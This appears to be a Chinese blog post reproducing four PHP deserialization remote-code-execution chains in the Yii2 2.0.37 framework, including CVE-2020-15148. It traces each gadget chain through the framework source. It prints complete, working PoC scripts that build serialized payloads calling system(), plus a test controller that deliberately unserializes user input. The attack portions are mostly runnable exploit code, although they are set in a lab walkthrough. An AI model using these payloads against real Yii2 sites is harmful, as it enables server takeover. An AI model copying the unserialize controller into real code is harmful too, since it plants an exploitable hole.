yii框架反序列化链子复现

yii2.0.37 反序列化

环境搭建

链接如下
https://github.com/yiisoft/yii2/releases/tag/2.0.37
在这里插入图片描述
安装后解压到Phpstudy的www目录下(根目录)即可,而后找到config/web.php文件,添加cookieValidationKey值(随便写)
在这里插入图片描述
此时保存后访问/web/index.php,如果如下图所示即说明成功安装
注:有时候修改过值后访问这个index.php,这个时候可能是因为PHP版本原因导致的,建议PHP版本用7版本的(我的是7.21.0)
在这里插入图片描述

反序列化

RCE1(CVE-2020-15148)

构造pop chain的方法肯定需要先找一下对应的魔术方法,最常见的便是利用__destruct
利用vscode的全局搜索(ctrl+shift+f)搜索一下__destruct在这里插入图片描述
成功得到一些文件,最终定位到了vendor\yiisoft\yii2\db\BatchQueryResult.php中的__destruct
这里具体代码如下

    public function __destruct()
    {
        $this->reset();
    }

    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

那么这里的话不难看出此时有两种可调用方法,close__call,因为_dataReader是可控的,所以我们通过它可以实现调用其他类下的__call方法
在跟随close方法后发现没有合适的利用点,接下来查找对应的close方法
vendor\fzaninotto\faker\src\Faker\Generator.php下发现一个较为合适的__call方法
在这里插入图片描述
因为close方法是无参方法,所以这里的$method为close,$attributes为空
接下来跟进format方法

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

调用了call_user_func_array函数,看起来有戏,继续跟进,看getFormatter

 public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

$this->formatters[$formatter]可控,这意味getFormatter方法着返回值也是可控的,这就意味着回调函数call_user_func_array($this->getFormatter($formatter), $arguments)可控,但这里的$arguments是空,也就意味着我们无法传参,这里的话我们就需要去找yii2框架一个无参函数来执行,或者调用PHP的phpinfo这种方法,但第二种显然不能RCE,因此需要在yii2框架中寻找无参方法
利用Vscode的全局搜索即可,记得打开正则
在这里插入图片描述

但数以千计的无参方法实在是太多了,无从下手,从其他师傅那里学到了加上回调函数来进行搜索

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

在这里插入图片描述
22个,少了亿点点。
找到vendor\yiisoft\yii2\rest\IndexAction.php方法,其内有run()方法,具体如下

    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }

这里的$this->checkAccess$this->id皆可控,这意味着我们可以自己构造函数和参数,RCE这不就有了
简单理一下总思路

1、BatchQueryResult.php->__destruct()
2、BatchQueryResult.php->reset()
3、Generator.php->__call()
4、Generator.php->format()
5、Generator.php->getFormatter()
6、IndexAction.php->run()

在这里插入图片描述
bfengj的师傅Poc如下

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

接下来还需要在写一个控制器

<?php

namespace app\controllers;

class SerializeController extends \yii\web\Controller
{
    public function actionSerialize($data){
        return unserialize(base64_decode($data));
    }
}
在这里插入图片描述

在这里插入图片描述
至此,复现完成

RCE2

在上个RCE被提交CVE过后官方很快进行了修复,在BatchQueryResult.php下添加了__wakeup方法,如果有反序列化直接抛出异常
在这里插入图片描述
具体文件内容链接https://github.com/yiisoft/yii2/blob/master/framework/db/BatchQueryResult.php
那这里的话肯定是无法再利用这个文件了,但我们这个时候想到只是这个文件无法再进行利用了,我们不妨再去找另外一个文件来替代这个文件的作用,那找的话肯定也是找一个类似这个__destruct的,它内部的属性指向另一个方法,这样就可以构造出一条新的pop chain,接下来就全局搜索一下__destruct,寻找一下这种方法
在这里插入图片描述
发现这个就是一个符合要求的文件

    public function __destruct()
    {
        $this->stopProcess();
    }

跟进一下看看

 public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }

这里看到$process->isRunning(),此时发现$this->processes,这意味着这个变量我们是可控的,那我们如果传入一个其他类,让他不存在这个方法,就会调用__call魔术方法,此时就又跟之前联系了起来
总结思路如下

1、RunProcess.php->__destruct()
2、RunProcess.php->stopProcess()
3、Generator.php->__call()
4、Generator.php->format()
5、Generator.php->getFormatter()
6、IndexAction.php->run()

Poc如下

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess="system";
            $this->id="dir";
        }
    }
}
namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        public $formatters;
        public function __construct(){
            $this->formatters['isRunning']=[new IndexAction,'run'];
        }
}
}

namespace Codeception\Extension{
    use Faker\Generator;

    class RunProcess{
        public $processes=[];
        public function __construct(){
            $this->processes[]=new Generator();
        }
    }
}

namespace{
    use Codeception\Extension\RunProcess;
    echo base64_encode(serialize(new RunProcess()));
}
?>
在这里插入图片描述

RCE3

继续寻找其他的RCE方法
依旧是从__destruct入手,全局搜索一下
最终确定在DiskKeyCache.php下的Swift_KeyCache_DiskKeyCache类中
其内有代码如下

public function __destruct()
    {
        foreach ($this->keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }

跟进clearAll

public function clearAll($nsKey)
    {
        if (array_key_exists($nsKey, $this->keys)) {
            foreach ($this->keys[$nsKey] as $itemKey => $null) {
                $this->clearKey($nsKey, $itemKey);
            }
            if (is_dir($this->path.'/'.$nsKey)) {
                rmdir($this->path.'/'.$nsKey);
            }
            unset($this->keys[$nsKey]);
        }
    }

发现这里并没有可触发__call的地方,但存在字符串拼接$this->path.'/'.$nsKey,那么这里就可以考虑触发__tostring方法,接下来就找一下totring魔术方法在这里插入图片描述
Covers.php下发现一个较为合适的魔术方法,这个就可以用来调用call函数,然后就同之前,达到RCE
总路线

1、DiskKeyCache.php->__destruct()
2、DiskKeyCache.php->clearAll()
3、Covers.php->__toString()
4、Generator.php->__call()
5、Generator.php->format()
6、Generator.php->getFormatter()
7、IndexAction.php->run()

Poc如下

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess='system';
            $this->id='dir';
        }
    }
}
namespace Faker{
    use yii\rest\IndexAction;

    class Generator{
        protected $formatters;
        public function __construct(){
            $this->formatters['render']=[new IndexAction(),'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;

    class Covers{
        protected $description;
        public function __construct(){
            $this->description=new Generator();
        }
    }
}

namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\Covers;
    class Swift_KeyCache_DiskKeyCache{
        private $keys=[];
        private $path;
        public function __construct(){
            $this->path=new Covers();
            $this->keys=array('give me'=>'flag');
        }

    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

在这里插入图片描述
成功触发

RCE4

这里的话还是以BatchQueryResult.php文件中的__destruct为起点,而后到$this->_dataReader->close()这里,接下来寻找一个符合close方法的类,最终找到符合条件的文件DbSession.php
在这里插入图片描述
跟进getIsActive()方法
在这里插入图片描述
发现无法利用,那就看下一个,跟进composeFields()

protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }

发现回调函数call_user_func($this->writeCallback, $this),这里$this->writeCallback是可控的,因此我们这里就可以通过这个调用run()方法,然后实现RCE,总体思路如下

1、BatchQueryResult.php->close()
2、DbSession.php->composeFields()
3、IndexAction.php->run()

Exp如下

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess='system';
            $this->id='dir';
        }
    }
}
namespace yii\web{
    use yii\rest\IndexAction;

    class DbSession{
        public $writeCallback;
        public function __construct(){
            $this->writeCallback=[new IndexAction(),'run'];
        }
    }
}

namespace yii\db{
    use yii\web\DbSession;

    class BatchQueryResult{
        public $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}

namespace{
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
?>
在这里插入图片描述
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
 
...